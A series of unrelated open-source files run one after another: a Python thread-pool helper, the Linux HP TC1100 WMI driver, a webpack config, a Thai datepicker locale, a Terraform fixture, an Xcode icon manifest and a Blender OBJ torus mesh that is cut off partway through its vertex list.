funcs = [f if callable(f) else functools.partial(*f) for f in funcs]
if len(funcs) == 1: # Ignore threads if it's not needed.
return [funcs[0]()]
if len(funcs) > self._workers: # Lazy init and grow as needed.
self.shutdown()
self._workers = len(funcs)
self._executor = futures.ThreadPoolExecutor(self._workers)
futs = [self._executor.submit(f) for f in funcs]
done, not_done = futures.wait(futs, self._timeout, futures.FIRST_EXCEPTION)
# Make sure to propagate any exceptions.
for f in done:
if not f.cancelled() and f.exception() is not None:
if not_done:
# If there are some calls that haven't finished, cancel and recreate
# the thread pool. Otherwise we may have a thread running forever
# blocking parallel calls.
for nd in not_done:
nd.cancel()
self.shutdown(False) # Don't wait, they may be deadlocked.
raise f.exception()
# Either done or timed out, so don't wait again.
return [f.result(timeout=0) for f in futs]
def shutdown(self, wait=True):
if self._executor:
self._executor.shutdown(wait)
self._executor = None
self._workers = 0
def __del__(self):
self.shutdown()
| {
"pile_set_name": "Github"
} |
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* HP Compaq TC1100 Tablet WMI Extras Driver
*
* Copyright (C) 2007 Carlos Corbacho <[email protected]>
* Copyright (C) 2004 Jamey Hicks <[email protected]>
* Copyright (C) 2001, 2002 Andy Grover <[email protected]>
* Copyright (C) 2001, 2002 Paul Diefenbaugh <[email protected]>
*/
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/acpi.h>
#include <linux/platform_device.h>
#define GUID "C364AC71-36DB-495A-8494-B439D472A505"
#define TC1100_INSTANCE_WIRELESS 1
#define TC1100_INSTANCE_JOGDIAL 2
MODULE_AUTHOR("Jamey Hicks, Carlos Corbacho");
MODULE_DESCRIPTION("HP Compaq TC1100 Tablet WMI Extras");
MODULE_LICENSE("GPL");
MODULE_ALIAS("wmi:C364AC71-36DB-495A-8494-B439D472A505");
static struct platform_device *tc1100_device;
struct tc1100_data {
u32 wireless;
u32 jogdial;
};
#ifdef CONFIG_PM
static struct tc1100_data suspend_data;
#endif
/* --------------------------------------------------------------------------
Device Management
-------------------------------------------------------------------------- */
static int get_state(u32 *out, u8 instance)
{
u32 tmp;
acpi_status status;
struct acpi_buffer result = { ACPI_ALLOCATE_BUFFER, NULL };
union acpi_object *obj;
if (!out)
return -EINVAL;
if (instance > 2)
return -ENODEV;
status = wmi_query_block(GUID, instance, &result);
if (ACPI_FAILURE(status))
return -ENODEV;
obj = (union acpi_object *) result.pointer;
if (obj && obj->type == ACPI_TYPE_INTEGER) {
tmp = obj->integer.value;
} else {
tmp = 0;
}
if (result.length > 0)
kfree(result.pointer);
switch (instance) {
case TC1100_INSTANCE_WIRELESS:
*out = (tmp == 3) ? 1 : 0;
return 0;
case TC1100_INSTANCE_JOGDIAL:
*out = (tmp == 1) ? 0 : 1;
return 0;
default:
return -ENODEV;
}
}
static int set_state(u32 *in, u8 instance)
{
u32 value;
acpi_status status;
struct acpi_buffer input;
if (!in)
return -EINVAL;
if (instance > 2)
return -ENODEV;
switch (instance) {
case TC1100_INSTANCE_WIRELESS:
value = (*in) ? 1 : 2;
break;
case TC1100_INSTANCE_JOGDIAL:
value = (*in) ? 0 : 1;
break;
default:
return -ENODEV;
}
input.length = sizeof(u32);
input.pointer = &value;
status = wmi_set_block(GUID, instance, &input);
if (ACPI_FAILURE(status))
return -ENODEV;
return 0;
}
/* --------------------------------------------------------------------------
FS Interface (/sys)
-------------------------------------------------------------------------- */
/*
* Read/ write bool sysfs macro
*/
#define show_set_bool(value, instance) \
static ssize_t \
show_bool_##value(struct device *dev, struct device_attribute *attr, \
char *buf) \
{ \
u32 result; \
acpi_status status = get_state(&result, instance); \
if (ACPI_SUCCESS(status)) \
return sprintf(buf, "%d\n", result); \
return sprintf(buf, "Read error\n"); \
} \
\
static ssize_t \
set_bool_##value(struct device *dev, struct device_attribute *attr, \
const char *buf, size_t count) \
{ \
u32 tmp = simple_strtoul(buf, NULL, 10); \
acpi_status status = set_state(&tmp, instance); \
if (ACPI_FAILURE(status)) \
return -EINVAL; \
return count; \
} \
static DEVICE_ATTR(value, S_IRUGO | S_IWUSR, \
show_bool_##value, set_bool_##value);
show_set_bool(wireless, TC1100_INSTANCE_WIRELESS);
show_set_bool(jogdial, TC1100_INSTANCE_JOGDIAL);
static struct attribute *tc1100_attributes[] = {
&dev_attr_wireless.attr,
&dev_attr_jogdial.attr,
NULL
};
static struct attribute_group tc1100_attribute_group = {
.attrs = tc1100_attributes,
};
/* --------------------------------------------------------------------------
Driver Model
-------------------------------------------------------------------------- */
static int __init tc1100_probe(struct platform_device *device)
{
return sysfs_create_group(&device->dev.kobj, &tc1100_attribute_group);
}
static int tc1100_remove(struct platform_device *device)
{
sysfs_remove_group(&device->dev.kobj, &tc1100_attribute_group);
return 0;
}
#ifdef CONFIG_PM
static int tc1100_suspend(struct device *dev)
{
int ret;
ret = get_state(&suspend_data.wireless, TC1100_INSTANCE_WIRELESS);
if (ret)
return ret;
ret = get_state(&suspend_data.jogdial, TC1100_INSTANCE_JOGDIAL);
if (ret)
return ret;
return 0;
}
static int tc1100_resume(struct device *dev)
{
int ret;
ret = set_state(&suspend_data.wireless, TC1100_INSTANCE_WIRELESS);
if (ret)
return ret;
ret = set_state(&suspend_data.jogdial, TC1100_INSTANCE_JOGDIAL);
if (ret)
return ret;
return 0;
}
static const struct dev_pm_ops tc1100_pm_ops = {
.suspend = tc1100_suspend,
.resume = tc1100_resume,
.freeze = tc1100_suspend,
.restore = tc1100_resume,
};
#endif
static struct platform_driver tc1100_driver = {
.driver = {
.name = "tc1100-wmi",
#ifdef CONFIG_PM
.pm = &tc1100_pm_ops,
#endif
},
.remove = tc1100_remove,
};
static int __init tc1100_init(void)
{
int error;
if (!wmi_has_guid(GUID))
return -ENODEV;
tc1100_device = platform_device_alloc("tc1100-wmi", -1);
if (!tc1100_device)
return -ENOMEM;
error = platform_device_add(tc1100_device);
if (error)
goto err_device_put;
error = platform_driver_probe(&tc1100_driver, tc1100_probe);
if (error)
goto err_device_del;
pr_info("HP Compaq TC1100 Tablet WMI Extras loaded\n");
return 0;
err_device_del:
platform_device_del(tc1100_device);
err_device_put:
platform_device_put(tc1100_device);
return error;
}
static void __exit tc1100_exit(void)
{
platform_device_unregister(tc1100_device);
platform_driver_unregister(&tc1100_driver);
}
module_init(tc1100_init);
module_exit(tc1100_exit);
| {
"pile_set_name": "Github"
} |
javax.servlet
javax.servlet.http
javax.servlet.jsp
javax.servlet.jsp.jstl.core
javax.servlet.jsp.jstl.fmt
javax.servlet.jsp.jstl.sql
javax.servlet.jsp.jstl.tlv
javax.servlet.jsp.tagext
javax.xml
javax.xml.bind
javax.xml.bind.helpers
javax.xml.bind.util
javax.xml.messaging
javax.xml.namespace
javax.xml.parsers
javax.xml.registry
javax.xml.registry.infomodel
javax.xml.registry.samples
javax.xml.rpc
javax.xml.rpc.encoding
javax.xml.rpc.handler
javax.xml.rpc.handler.soap
javax.xml.rpc.holders
javax.xml.rpc.server
javax.xml.rpc.soap
javax.xml.soap
javax.xml.transform
javax.xml.transform.dom
javax.xml.transform.sax
javax.xml.transform.stream
org.w3c.dom
org.xml.sax
org.xml.sax.ext
org.xml.sax.helpers
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <objc/NSObject.h>
#import "PBCoding-Protocol.h"
@class NSMutableDictionary, NSString;
@interface iAPCache : NSObject <PBCoding>
{
NSMutableDictionary *dicProductToPrepare;
NSMutableDictionary *dicBillNos;
NSMutableDictionary *dicProductPrice;
NSMutableDictionary *dicProductLocale;
NSMutableDictionary *dicUnVerifyReceipt;
}
+ (void)initialize;
@property(retain, nonatomic) NSMutableDictionary *dicUnVerifyReceipt; // @synthesize dicUnVerifyReceipt;
@property(retain, nonatomic) NSMutableDictionary *dicProductLocale; // @synthesize dicProductLocale;
@property(retain, nonatomic) NSMutableDictionary *dicProductPrice; // @synthesize dicProductPrice;
@property(retain, nonatomic) NSMutableDictionary *dicBillNos; // @synthesize dicBillNos;
- (void).cxx_destruct;
- (void)removeUnverifyTransactionForProductID:(id)arg1;
- (void)addUnverifyTransaction:(id)arg1;
- (id)UnVerifyTransactionForProductID:(id)arg1;
- (id)localeForProductID:(id)arg1;
- (id)priceForProductID:(id)arg1;
- (id)productForProductID:(id)arg1;
- (void)addProduct:(id)arg1;
- (void)initUnVerifyTransaction;
- (void)initProductDictionary;
- (void)dealloc;
- (id)init;
- (const map_490096f0 *)getValueTagIndexMap;
- (id)getValueTypeTable;
// Remaining properties
@property(readonly, copy) NSString *debugDescription;
@property(readonly, copy) NSString *description;
@property(readonly) unsigned long long hash;
@property(readonly) Class superclass;
@end
| {
"pile_set_name": "Github"
} |
const path = require('path');
const webpack = require('webpack');
const MiniCssExtractPlugin = require('mini-css-extract-plugin');
const autoprefixer = require('autoprefixer');
const precss = require('precss');
const UglifyJsPlugin = require('uglifyjs-webpack-plugin');
module.exports = {
devtool: 'source-map',
entry: ['./src/index'],
output: {
path: path.join(__dirname, '../dist'),
filename: 'react-draft-wysiwyg.js',
library: 'reactDraftWysiwyg',
libraryTarget: 'umd',
},
externals: {
react: 'react',
immutable: 'immutable',
'react-dom': 'react-dom',
'draft-js': 'draft-js',
},
optimization: {
minimizer: [new UglifyJsPlugin()],
},
plugins: [
new webpack.DefinePlugin({
'process.env': {
NODE_ENV: JSON.stringify('production'),
},
}),
new MiniCssExtractPlugin({
filename: 'react-draft-wysiwyg.css',
chunkFilename: '[id].css',
ignoreOrder: false,
}),
new webpack.LoaderOptionsPlugin({
options: {
postcss: [autoprefixer, precss],
},
}),
],
module: {
rules: [
{
test: /\.js$/,
use: [{ loader: 'babel-loader' }],
exclude: /immutable\.js$|draftjs-utils\.js$/,
},
{
test: /\.css$/,
use: [
{
loader: MiniCssExtractPlugin.loader,
options: {
publicPath: '../',
hmr: process.env.NODE_ENV === 'development',
},
},
'css-loader',
],
},
{ test: /\.(png|jpg)$/, use: [{ loader: 'url-loader?limit=8192' }] },
{
test: /\.svg(\?v=\d+\.\d+\.\d+)?$/,
use: [{ loader: 'url-loader?limit=10000&mimetype=image/svg+xml' }],
},
],
},
resolve: {
extensions: ['.js', '.json'],
},
};
| {
"pile_set_name": "Github"
} |
/**
* Thai translation for bootstrap-datepicker
* Suchau Jiraprapot <[email protected]>
*/
;(function($){
$.fn.datepicker.dates['th'] = {
days: ["อาทิตย์", "จันทร์", "อังคาร", "พุธ", "พฤหัส", "ศุกร์", "เสาร์", "อาทิตย์"],
daysShort: ["อา", "จ", "อ", "พ", "พฤ", "ศ", "ส", "อา"],
daysMin: ["อา", "จ", "อ", "พ", "พฤ", "ศ", "ส", "อา"],
months: ["มกราคม", "กุมภาพันธ์", "มีนาคม", "เมษายน", "พฤษภาคม", "มิถุนายน", "กรกฎาคม", "สิงหาคม", "กันยายน", "ตุลาคม", "พฤศจิกายน", "ธันวาคม"],
monthsShort: ["ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค."],
today: "วันนี้"
};
}(jQuery));
| {
"pile_set_name": "Github"
} |
# "foo" is inherited from the parent module
resource "foo_bar" "test" {
}
# but we don't use the "bar" provider inherited from the parent
# "baz" is introduced here for the first time, so it's an implicit
# dependency
resource "baz_bar" "test" {
}
module "grandchild" {
source = "../grandchild"
}
| {
"pile_set_name": "Github"
} |
'use strict';
var GetIntrinsic = require('../GetIntrinsic');
var $Math = GetIntrinsic('%Math%');
var ToNumber = require('./ToNumber');
var $isNaN = require('../helpers/isNaN');
var $isFinite = require('../helpers/isFinite');
var $sign = require('../helpers/sign');
var $mod = require('../helpers/mod');
var $floor = $Math.floor;
var $abs = $Math.abs;
module.exports = function ToUint8(argument) {
var number = ToNumber(argument);
if ($isNaN(number) || number === 0 || !$isFinite(number)) { return 0; }
var posInt = $sign(number) * $floor($abs(number));
return $mod(posInt, 0x100);
};
| {
"pile_set_name": "Github"
} |
suite.dir=${basedir}/..
| {
"pile_set_name": "Github"
} |
{
"images" : [
{
"size" : "20x20",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "20x20",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "40x40",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "60x60",
"idiom" : "iphone",
"filename" : "[email protected]",
"scale" : "3x"
},
{
"size" : "20x20",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "20x20",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "29x29",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "40x40",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "1x"
},
{
"size" : "76x76",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "83.5x83.5",
"idiom" : "ipad",
"filename" : "[email protected]",
"scale" : "2x"
},
{
"size" : "1024x1024",
"idiom" : "ios-marketing",
"filename" : "[email protected]",
"scale" : "1x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}
| {
"pile_set_name": "Github"
} |
var test = require('test');
var pass = false;
var test = require('test');
try {
require('a');
} catch (exception) {
pass = true;
}
test.assert(pass, 'require does not fall back to relative modules when absolutes are not available.')
| {
"pile_set_name": "Github"
} |
# Blender v2.62 (sub 0) OBJ File: ''
# www.blender.org
v 1.243252 0.000000 0.000000
v 1.209758 0.125000 0.000000
v 1.118252 0.216506 0.000000
v 0.993252 0.250000 0.000000
v 0.868252 0.216506 0.000000
v 0.776745 0.125000 0.000000
v 0.743252 0.000000 0.000000
v 0.776745 -0.125000 0.000000
v 0.868252 -0.216506 0.000000
v 0.993252 -0.250000 0.000000
v 1.118252 -0.216506 0.000000
v 1.209758 -0.125000 0.000000
v 1.232558 0.000000 -0.163158
v 1.199351 0.125000 -0.158786
v 1.108627 0.216506 -0.146842
v 0.984697 0.250000 -0.130526
v 0.860766 0.216506 -0.114210
v 0.770042 0.125000 -0.102266
v 0.736835 0.000000 -0.097895
v 0.770042 -0.125000 -0.102266
v 0.860766 -0.216506 -0.114210
v 0.984697 -0.250000 -0.130526
v 1.108627 -0.216506 -0.146842
v 1.199351 -0.125000 -0.158786
v 1.200659 0.000000 -0.323524
v 1.168307 0.125000 -0.314855
v 1.079918 0.216506 -0.291171
v 0.959178 0.250000 -0.258819
v 0.838437 0.216506 -0.226467
v 0.750048 0.125000 -0.202783
v 0.717696 0.000000 -0.194114
v 0.750048 -0.125000 -0.202783
v 0.838437 -0.216506 -0.226467
v 0.959178 -0.250000 -0.258819
v 1.079918 -0.216506 -0.291171
v 1.168307 -0.125000 -0.314855
v 1.148101 0.000000 -0.478354
v 1.117157 0.125000 -0.465537
v 1.032616 0.216506 -0.430519
v 0.917131 0.250000 -0.382683
v 0.801646 0.216506 -0.334848
v 0.717105 0.125000 -0.299830
v 0.686161 0.000000 -0.287013
v 0.717105 -0.125000 -0.299830
v 0.801646 -0.216506 -0.334848
v 0.917131 -0.250000 -0.382683
v 1.032616 -0.216506 -0.430519
v 1.117157 -0.125000 -0.465537
v 1.075783 0.000000 -0.625000
v 1.046777 0.125000 -0.608253
v 0.967530 0.216506 -0.562500
v 0.859277 0.250000 -0.500000
v 0.751024 0.216506 -0.437500
v 0.671777 0.125000 -0.391747
v 0.642771 0.000000 -0.375000
v 0.671777 -0.125000 -0.391747
v 0.751024 -0.216506 -0.437500
v 0.859277 -0.250000 -0.500000
v 0.967530 -0.216506 -0.562500
v 1.046777 -0.125000 -0.608253
v 0.984944 0.000000 -0.760952
v 0.958371 0.125000 -0.740562
v 0.885774 0.216506 -0.684857
v 0.786605 0.250000 -0.608761
v 0.687436 0.216506 -0.532666
v 0.614839 0.125000 -0.476961
v 0.588267 0.000000 -0.456571
v 0.614839 -0.125000 -0.476961
v 0.687436 -0.216506 -0.532666
v 0.786605 -0.250000 -0.608761
v 0.885774 -0.216506 -0.684857
v 0.958371 -0.125000 -0.740562
v 0.877135 0.000000 -0.883884
v 0.853451 0.125000 -0.860200
v 0.788747 0.216506 -0.795495
v 0.700358 0.250000 -0.707107
v 0.611970 0.216506 -0.618718
v 0.547265 0.125000 -0.554014
v 0.523582 0.000000 -0.530330
v 0.547265 -0.125000 -0.554014
v 0.611970 -0.216506 -0.618718
v 0.700358 -0.250000 -0.707107
v 0.788747 -0.216506 -0.795495
v 0.853451 -0.125000 -0.860200
v 0.754204 0.000000 -0.991691
v 0.733814 0.125000 -0.965119
v 0.678108 0.216506 -0.892522
v 0.602013 0.250000 -0.793353
v 0.525918 0.216506 -0.694184
v 0.470212 0.125000 -0.621587
v 0.449823 0.000000 -0.595015
v 0.470212 -0.125000 -0.621587
v 0.525918 -0.216506 -0.694184
v 0.602013 -0.250000 -0.793353
v 0.678108 -0.216506 -0.892522
v 0.733814 -0.125000 -0.965119
v 0.618252 0.000000 -1.082532
v 0.601505 0.125000 -1.053525
v 0.555752 0.216506 -0.974279
v 0.493252 0.250000 -0.866025
v 0.430752 0.216506 -0.757772
v 0.384999 0.125000 -0.678525
v 0.368252 0.000000 -0.649519
v 0.384999 -0.125000 -0.678525
v 0.430752 -0.216506 -0.757772
v 0.493252 -0.250000 -0.866025
v 0.555752 -0.216506 -0.974279
v 0.601505 -0.125000 -1.053525
v 0.471606 0.000000 -1.154849
v 0.458789 0.125000 -1.123905
v 0.423771 0.216506 -1.039364
v 0.375935 0.250000 -0.923879
v 0.328100 0.216506 -0.808394
v 0.293082 0.125000 -0.723854
v 0.280264 0.000000 -0.692910
v 0.293082 -0.125000 -0.723854
v 0.328100 -0.216506 -0.808394
v 0.375935 -0.250000 -0.923879
v 0.423771 -0.216506 -1.039364
v 0.458789 -0.125000 -1.123905
v 0.316776 0.000000 -1.207407
v 0.308107 0.125000 -1.175055
v 0.284423 0.216506 -1.086666
v 0.252071 0.250000 -0.965926
v 0.219718 0.216506 -0.845185
v 0.196035 0.125000 -0.756797
v 0.187366 0.000000 -0.724444
v 0.196035 -0.125000 -0.756797
v 0.219718 -0.216506 -0.845185
v 0.252071 -0.250000 -0.965926
v 0.284423 -0.216506 -1.086666
v 0.308107 -0.125000 -1.175055
v 0.156409 0.000000 -1.239306
v 0.152037 0.125000 -1.206099
v 0.140094 0.216506 -1.115376
v 0.123778 0.250000 -0.991445
v 0.107462 0.216506 -0.867514
v 0.095518 0.125000 -0.776791
v 0.091146 0.000000 -0.743584
v 0.095518 -0.125000 -0.776791
v 0.107462 -0.216506 -0.867514
v 0.123778 -0.250000 -0.991445
v 0.140094 -0.216506 -1.115376
v 0.152037 -0.125000 -1.206099
v -0.006748 0.000000 -1.250000
v -0.006748 0.125000 -1.216506
v -0.006748 0.216506 -1.125000
v -0.006748 0.250000 -1.000000
v -0.006748 0.216506 -0.875000
v -0.006748 0.125000 -0.783494
v -0.006748 0.000000 -0.750000
v -0.006748 -0.125000 -0.783494
v -0.006748 -0.216506 -0.875000
v -0.006748 -0.250000 -1.000000
v -0.006748 -0.216506 -1.125000
v -0.006748 -0.125000 -1.216506
v -0.169906 0.000000 -1.239306
v -0.165534 0.125000 -1.206099
v -0.153590 0.216506 -1.115375
v -0.137275 0.250000 -0.991445
v -0.120959 0.216506 -0.867514
v -0.109015 0.125000 -0.776791
v -0.104643 0.000000 -0.743584
v -0.109015 -0.125000 -0.776791
v -0.120959 -0.216506 -0.867514
v -0.137275 -0.250000 -0.991445
v -0.153590 -0.216506 -1.115375
v -0.165534 -0.125000 -1.206099
v -0.330272 0.000000 -1.207407
v -0.321603 0.125000 -1.175055
v -0.297920 0.216506 -1.086667
v -0.265567 0.250000 -0.965926
v -0.233215 0.216506 -0.845185
v -0.209531 0.125000 -0.756797
v -0.200863 0.000000 -0.724444
v -0.209531 -0.125000 -0.756797
v -0.233215 -0.216506 -0.845185
v -0.265567 -0.250000 -0.965926
v -0.297920 -0.216506 -1.086667
v -0.321603 -0.125000 -1.175055
v -0.485103 0.000000 -1.154849
v -0.472285 0.125000 -1.123905
v -0.437267 0.216506 -1.039364
v -0.389432 0.250000 -0.923880
v -0.341596 0.216506 -0.808395
v -0.306578 0.125000 -0.723854
v -0.293761 0.000000 -0.692910
v -0.306578 -0.125000 -0.723854
v -0.341596 -0.216506 -0.808395
v -0.389432 -0.250000 -0.923880
v -0.437267 -0.216506 -1.039364
v -0.472285 -0.125000 -1.123905
v -0.631748 0.000000 -1.082532
v -0.615001 0.125000 -1.053525
v -0.569248 0.216506 -0.974279
v -0.506748 0.250000 -0.866026
v -0.444248 0.216506 -0.757772
v -0.398495 0.125000 -0.678525
v -0.381748 0.000000 -0.649519
v -0.398495 -0.125000 -0.678525
v -0.444248 -0.216506 -0.757772
v -0.506748 -0.250000 -0.866026
v -0.569248 -0.216506 -0.974279
v -0.615001 -0.125000 -1.053525
v -0.767700 0.000000 -0.991692
v -0.747311 0.125000 -0.965119
v -0.691605 0.216506 -0.892522
v -0.615510 0.250000 -0.793353
v -0.539415 0.216506 -0.694184
v -0.483709 0.125000 -0.621587
v -0.463319 0.000000 -0.595015
v -0.483709 -0.125000 -0.621587
v -0.539415 -0.216506 -0.694184
v -0.615510 -0.250000 -0.793353
v -0.691605 -0.216506 -0.892522
v -0.747311 -0.125000 -0.965119
v -0.890632 0.000000 -0.883883
v -0.866948 0.125000 -0.860200
v -0.802244 0.216506 -0.795495
v -0.713855 0.250000 -0.707107
v -0.625467 0.216506 -0.618718
v -0.560762 0.125000 -0.554013
v -0.537078 0.000000 -0.530330
v -0.560762 -0.125000 -0.554013
v -0.625467 -0.216506 -0.618718
v -0.713855 -0.250000 -0.707107
v -0.802244 -0.216506 -0.795495
v -0.866948 -0.125000 -0.860200
v -0.998440 0.000000 -0.760952
v -0.971868 0.125000 -0.740562
v -0.899271 0.216506 -0.684857
v -0.800102 0.250000 -0.608761
v -0.700933 0.216506 -0.532666
v -0.628336 0.125000 -0.476961
v -0.601763 0.000000 -0.456571
v -0.628336 -0.125000 -0.476961
v -0.700933 -0.216506 -0.532666
v -0.800102 -0.250000 -0.608761
v -0.899271 -0.216506 -0.684857
v -0.971868 -0.125000 -0.740562
v -1.089280 0.000000 -0.625000
v -1.060274 0.125000 -0.608253
v -0.981027 0.216506 -0.562500
v -0.872774 0.250000 -0.500000
v -0.764520 0.216506 -0.437500
v -0.685274 0.125000 -0.391747
v -0.656267 0.000000 -0.375000
v -0.685274 -0.125000 -0.391747
v -0.764520 -0.216506 -0.437500
v -0.872774 -0.250000 -0.500000
v -0.981027 -0.216506 -0.562500
v -1.060274 -0.125000 -0.608253
v -1.161598 0.000000 -0.478354
v -1.130654 0.125000 -0.465537
v -1.046113 0.216506 -0.430519
v -0.930628 0.250000 -0.382683
v -0.815143 0.216506 -0.334848
v -0.730602 0.125000 -0.299830
v -0.699658 0.000000 -0.287013
v -0.730602 -0.125000 -0.299830
v -0.815143 -0.216506 -0.334848
v -0.930628 -0.250000 -0.382683
v -1.046113 -0.216506 -0.430519
v -1.130654 -0.125000 -0.465537
v -1.214156 0.000000 -0.323524
v -1.181803 0.125000 -0.314855
v -1.093415 0.216506 -0.291171
v -0.972674 0.250000 -0.258819
v -0.851933 0.216506 -0.226467
v -0.763545 0.125000 -0.202783
v -0.731193 0.000000 -0.194114
v -0.763545 -0.125000 -0.202783
v -0.851933 -0.216506 -0.226467
v -0.972674 -0.250000 -0.258819
v -1.093415 -0.216506 -0.291171
v -1.181803 -0.125000 -0.314855
v -1.246054 0.000000 -0.163158
v -1.212847 0.125000 -0.158786
v -1.122124 0.216506 -0.146842
v -0.998193 0.250000 -0.130526
v -0.874263 0.216506 -0.114211
v -0.783539 0.125000 -0.102267
v -0.750332 0.000000 -0.097895
v -0.783539 -0.125000 -0.102267
v -0.874263 -0.216506 -0.114211
v -0.998193 -0.250000 -0.130526
v -1.122124 -0.216506 -0.146842
v -1.212847 -0.125000 -0.158786
v -1.256748 0.000000 -0.000000
v -1.223255 0.125000 -0.000000
v -1.131748 0.216506 -0.000000
v -1.006748 0.250000 -0.000000
v -0.881748 0.216506 -0.000000
v -0.790242 0.125000 -0.000000
v -0.756748 0.000000 -0.000000
v -0.790242 -0.125000 -0.000000
v -0.881748 -0.216506 -0.000000
v -1.006748 -0.250000 -0.000000
v -1.131748 -0.216506 -0.000000
v -1.223255 -0.125000 -0.000000
v -1.246054 0.000000 0.163158
v -1.212847 0.125000 0.158786
v -1.122124 0.216506 0.146842
v -0.998193 0.250000 0.130526
v -0.874263 0.216506 0.114211
v -0.783539 0.125000 0.102267
v -0.750332 0.000000 0.097895
v -0.783539 -0.125000 0.102267
v -0.874263 -0.216506 0.114211
v -0.998193 -0.250000 0.130526
v -1.122124 -0.216506 0.146842
v -1.212847 -0.125000 0.158786
v -1.214156 0.000000 0.323524
v -1.181803 0.125000 0.314855
v -1.093415 0.216506 0.291171
v -0.972674 0.250000 0.258819
v -0.851933 0.216506 0.226467
v -0.763545 0.125000 0.202783
v -0.731193 0.000000 0.194114
v -0.763545 -0.125000 0.202783
v -0.851933 -0.216506 0.226467
v -0.972674 -0.250000 0.258819
v -1.093415 -0.216506 0.291171
v -1.181803 -0.125000 0.314855
v -1.161598 0.000000 0.478354
v -1.130654 0.125000 0.465536
v -1.046113 0.216506 0.430518
v -0.930628 0.250000 0.382683
v -0.815143 0.216506 0.334848
v -0.730602 0.125000 0.299830
v -0.699658 0.000000 0.287012
v -0.730602 -0.125000 0.299830
v -0.815143 -0.216506 0.334848
v -0.930628 -0.250000 0.382683
v -1.046113 -0.216506 0.430518
v -1.130654 -0.125000 0.465536
v -1.089280 0.000000 0.625000
v -1.060274 0.125000 0.608253
v -0.981027 0.216506 0.562500
v -0.872774 0.250000 0.500000
v -0.764521 0.216506 0.437500
v -0.685274 0.125000 0.391747
v -0.656267 0.000000 0.375000
v -0.685274 -0.125000 0.391747
v -0.764521 -0.216506 0.437500
v -0.872774 -0.250000 0.500000
v -0.981027 -0.216506 0.562500
v -1.060274 -0.125000 0.608253
v -0.998440 0.000000 0.760952
v -0.971868 0.125000 0.740562
v -0.899271 0.216506 0.684857
v -0.800102 0.250000 0.608761
v -0.700933 0.216506 0.532666
v -0.628336 0.125000 0.476961
v -0.601763 0.000000 0.456571
v -0.628336 -0.125000 0.476961
v -0.700933 -0.216506 0.532666
v -0.800102 -0.250000 0.608761
v -0.899271 -0.216506 0.684857
v -0.971868 -0.125000 0.740562
v -0.890632 0.000000 0.883883
v -0.866948 0.125000 0.860200
v -0.802244 0.216506 0.795495
v -0.713855 0.250000 0.707107
v -0.625467 0.216506 0.618718
v -0.560762 0.125000 0.554013
v -0.537078 0.000000 0.530330
v -0.560762 -0.125000 0.554013
v -0.625467 -0.216506 0.618718
v -0.713855 -0.250000 0.707107
v -0.802244 -0.216506 0.795495
v -0.866948 -0.125000 0.860200
v -0.767701 0.000000 0.991691
v -0.747311 0.125000 0.965119
v -0.691605 0.216506 0.892522
v -0.615510 0.250000 0.793353
v -0.539415 0.216506 0.694184
v -0.483709 0.125000 0.621587
v -0.463320 0.000000 0.595015
v -0.483709 -0.125000 0.621587
v -0.539415 -0.216506 0.694184
v -0.615510 -0.250000 0.793353
v -0.691605 -0.216506 0.892522
v -0.747311 -0.125000 0.965119
v -0.631748 0.000000 1.082532
v -0.615001 0.125000 1.053525
v -0.569248 0.216506 0.974279
v -0.506748 0.250000 0.866026
v -0.444248 0.216506 0.757772
v -0.398495 0.125000 0.678525
v -0.381748 0.000000 0.649519
v -0.398495 -0.125000 0.678525
v -0.444248 -0.216506 0.757772
v -0.506748 -0.250000 0.866026
v -0.569248 -0.216506 0.974279
v -0.615001 -0.125000 1.053525
v -0.485103 0.000000 1.154849
v -0.472285 0.125000 1.123905
v -0.437267 0.216506 1.039364
v -0.389432 0.250000 0.923880
v -0.341596 0.216506 0.808395
v -0.306578 0.125000 0.723854
v -0.293761 0.000000 0.692910
v -0.306578 -0.125000 0.723854
v -0.341596 -0.216506 0.808395
v -0.389432 -0.250000 0.923880
v -0.437267 -0.216506 1.039364
v -0.472285 -0.125000 1.123905
v -0.330272 0.000000 1.207407
v -0.321604 0.125000 1.175055
v -0.297920 0.216506 1.086666
v -0.265568 0.250000 0.965926
v -0.233215 0.216506 0.845185
v -0.209532 0.125000 0.756797
v -0.200863 0.000000 0.724444
v -0.209532 -0.125000 0.756797
v -0.233215 -0.216506 0.845185
v -0.265568 -0.250000 0.965926
v -0.297920 -0.216506 1.086666
v -0.321604 -0.125000 1.175055
v -0.169907 0.000000 1.239306
v -0.165535 0.125000 1.206099
v -0.153591 0.216506 1.115375
